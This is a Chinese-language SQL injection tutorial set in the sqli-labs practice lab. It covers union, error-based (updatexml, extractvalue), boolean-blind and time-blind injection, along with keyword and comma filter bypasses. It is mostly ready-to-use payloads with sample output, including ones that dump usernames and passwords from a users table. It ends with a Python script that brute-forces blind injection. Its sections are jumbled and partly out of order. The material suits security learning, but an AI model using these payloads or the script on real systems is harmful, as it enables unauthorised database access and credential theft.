这种查询原理是把前面值整成错误的(id=-1' 或者id=1' and 1=2 后面加上union语句),这样就会执行union后语句。union联合查询适用于有显示列的注入。
如果页面有反显(随着请求参数不同,页面显示不同,表明可以使用联合注入)
Order by 判断查询列数(4时错误,3时正确,可得知,当前表有3列 ):
bash复制代码
?id=1' and '1'='1' order by 1--+ 页面回显正常
?id=1' and '1'='1' order by 2--+ 页面回显正常
?id=1' and '1'='1' order by 3--+ 页面回显正常
?id=1' and '1'='1' order by 4--+ 出现报错界面
# 可知查询语句主有3列
Union select xx,xx,xx判断反显列:
?id=1' and 1=2 union select 1 ,2 ,3 --+
2. 报错注入
通过数据库函数/语法报错,反显数据库敏感信息
UPDATEXML 是 MySQL 中的一个 XML 函数,用于解析 XML 数据并返回结果。
UPDATEXML(xml_target, xpath_expr, new_xml)
xml_target:要操作的 XML 文档。
xpath_expr:一个字符串,表示 XPath 表达式,用于指定要更新的节点。
new_xml:要替换的新的 XML 内容。
在SQL注入中,不妨把他简化为updatexml(xx,concat(xx),xx),concat函数用来拼接字符,当第二个参数为非xpath格式就会把校验失败的数据爆出来。由于要的只是第二个参数,一三随便写即可
EXTRACTVALUE 是 MySQL 中的一个函数,用于从 XML 文档中提取指定的值。该函数使用 XPath 表达式从 XML 数据中选择和返回节点的文本内容。
EXTRACTVALUE(xml_frag, xpath_expr)
?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'e%' --+
Ascii语句判断
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115 --+
4. 延时注入
布尔盲注是进行逻辑判断,适用与注入页面存在两种状态:正常页面/报错页面
时间盲注是进行IF判断联合sleep函数执行,适用于注入页面只存在一种状态
判断注入点:
?id=1' and sleep(5)--+ //正常休眠
?id=1" and sleep(5)--+ //无休眠
?id=1') and sleep(5)--+//无休眠
?id=1") and sleep(5)--+//无休眠
?id=1' and if(length(database())=8,sleep(10),1)--+
爆出数据库:
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10))--+
通过判断服务器没有睡眠,ascii码转换115为s ,那么就得出数据库第一个字符为s,下面就可以依次类推了
substr(database(),N,1)可以通过改变N的值来判断数据的第几个字符是什么
爆出数据表:
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1) --+
解释:security的第一张表的第一个字符ascii为101,为字符e
limit 0,1),N,1还是改变N的值,得出第二个字符
再判断字符(ascii判断)
?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3)) --+
(left语句判断)
?id=1' and if(left(database(),1)='s',sleep(10),1) --+
?id=1' and if(left(database(),2)='sa',sleep(10),1) --+
Substring函数判断
type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1)) --+
SQL注入绕过过滤
一些网站为了防止SQL注入,会通过过滤关键字、过滤注入符等方式来防止SQL注入漏洞。
为了对抗这种方法,我们可以选择通过某种方式绕过过滤。下面主要介绍几种常见的绕过场景:
1. 过滤关键字
过滤关键字应该是最常见的过滤了,因为只要把关键字一过滤,你的注入语句基本就不起作用了。
绕过方法:
(1)最常用的绕过方法就是用/**/,<>,分割关键字
sql复制代码
sel<>ect
sel/**/ect
(2)双写绕过:根据过滤程度,有时候还可以用双写绕过
bash复制代码
selselectect
(3)既然是过滤关键字,大小写应该都会被匹配过滤,所以大小写绕过一般是行不通的。
(4)有时候还可以使用编码绕过(URL编码绕过:16进制、ASCII编码绕过)
2. 过滤逗号
常见的几种注入方法基本上都要使用逗号,要是逗号被过滤了,那就只能想办法绕过了。
(1)简单注入可以使用join方法绕过
sql复制代码
# 原语句
union select 1,2,3
# 改为join绕过逗号过滤
union select * from (select 1)a join (select 2)b join (select 3)
# 页面显示正常,SQL语句中,order by 1 表明用查询结果的第一列排序
?id=1' and 1=1 order by 1 --+
...
?id=1' and 1=1 order by 3 --+
# 此时我们发现页面显示错误,可以知道,查询结果有3列
?id=1' and 1=1 order by 4 --+
# 通过在URL中输入如下字符,即可爆破出表
?id=-1' union select 1,database(),group_concat(table_name) from
information_schema.tables where table_schema=database()--+
此时,我们发现了users表,按照开发习惯,用户名、密码都在一张表中,于是我们可以验证
bash复制代码
group_concat():分组后拼接,默认使用逗号分隔
# 输入下面信息,即可爆破出对应表的字段
?id=-1' union select 1,2,group_concat(column_name)from
information_schema.columns where table_name='users'--+
接下来就是重头戏了,我们获取该表中其他用户的用户名和密码
bash复制代码
# 0x5c 在ASCII中代表\
?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+
# updatexml报错注入
?id=1' and updatexml(1,concat(0x7e,(select database() ),0x7e),1) --+
'回显:XPATH syntax error: '~security~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1) --+
'回显:XPATH syntax error: '~emails,referers,uagents,users~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+
'回显:XPATH syntax error: '~id,username,password~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+
'回显:XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'
# extractvalue报错注入
?id=1' and extractvalue(1,concat(0x7e,(select database() ),0x7e))--+
'回显:XPATH syntax error: '~security~'
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e))--+
'XPATH syntax error: '~emails,referers,uagents,users~'
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e))--+
'XPATH syntax error: '~id,username,password~'
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username) from security.users),0x7e))--+
'XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'
通过updatexml函数爆出数据库名
bash复制代码
?id=1' and updatexml(1,concat(0x7e,(select database() ),0x7e),1) --+
我们发现当输入正确数值时,页面会反显you are in...,当输入永假条件时,页面什么都不显示。利用这个特性,可以使用布尔盲注。
我们通过一些bool类型的判断语句来侧面验证并获取敏感信息,例如:获取数据库名字长度。and length(database())=8 。如果页面有反显You are in...,说明数据库长度为8,如果不反显说明不为8,我们可以利用二分法,快速猜解。
sql复制代码
# 页面有反显,说明数据库名长度=8。结合前面关卡,我们已经知道数据库为:security,其长度正好为8
?id=1' and length(database())= 8 --+
除了猜测数据库长度,我们还可以猜测数据库版本、数据库名、表名、字段名等
这里我们可以通过脚本或者BurpSuite等工具去爆破
bash复制代码
# 猜数据库版本
?id=1' and left(version(),1)=5 --+
# 猜数据库名
?id=1'and left(database(),1)>'a'--+
# 猜表名
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)="users"--+
# 猜测字段名
?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),8)="username"--+
通过python脚本爆破提高效率
python脚本:
python复制代码
# -*- coding:utf8 -*-
import requests
url = 'http://localhost/Less-8/?id=1%27' # 这个url要对应你自己的url
payload = " and%20left({d}(),{n})=%27{s}%27%20--%20k"
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'] # 字典
str1 = "You are in..........." # 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功
def blind_sql_injection(url, payload, list1, str1, function_name, max_length=20):
result = ''
for i in range(1, max_length + 1):
for ss in list1:
p = payload.format(d=function_name, n=i, s=result + ss)
try:
u = requests.get(url + p)
if str1 in u.content.decode('utf-8'):
result += ss
print(f"正在对比{function_name}第 {i} 个字符: {result}")
break
except requests.RequestException as e:
print(f"请求失败: {e}")
break
print(f"对比成功,{function_name}为: {result}")
return result
# 开始对比database()
database = blind_sql_injection(url, payload, list1, str1, 'database', max_length=10)
print(f"database-->{database}")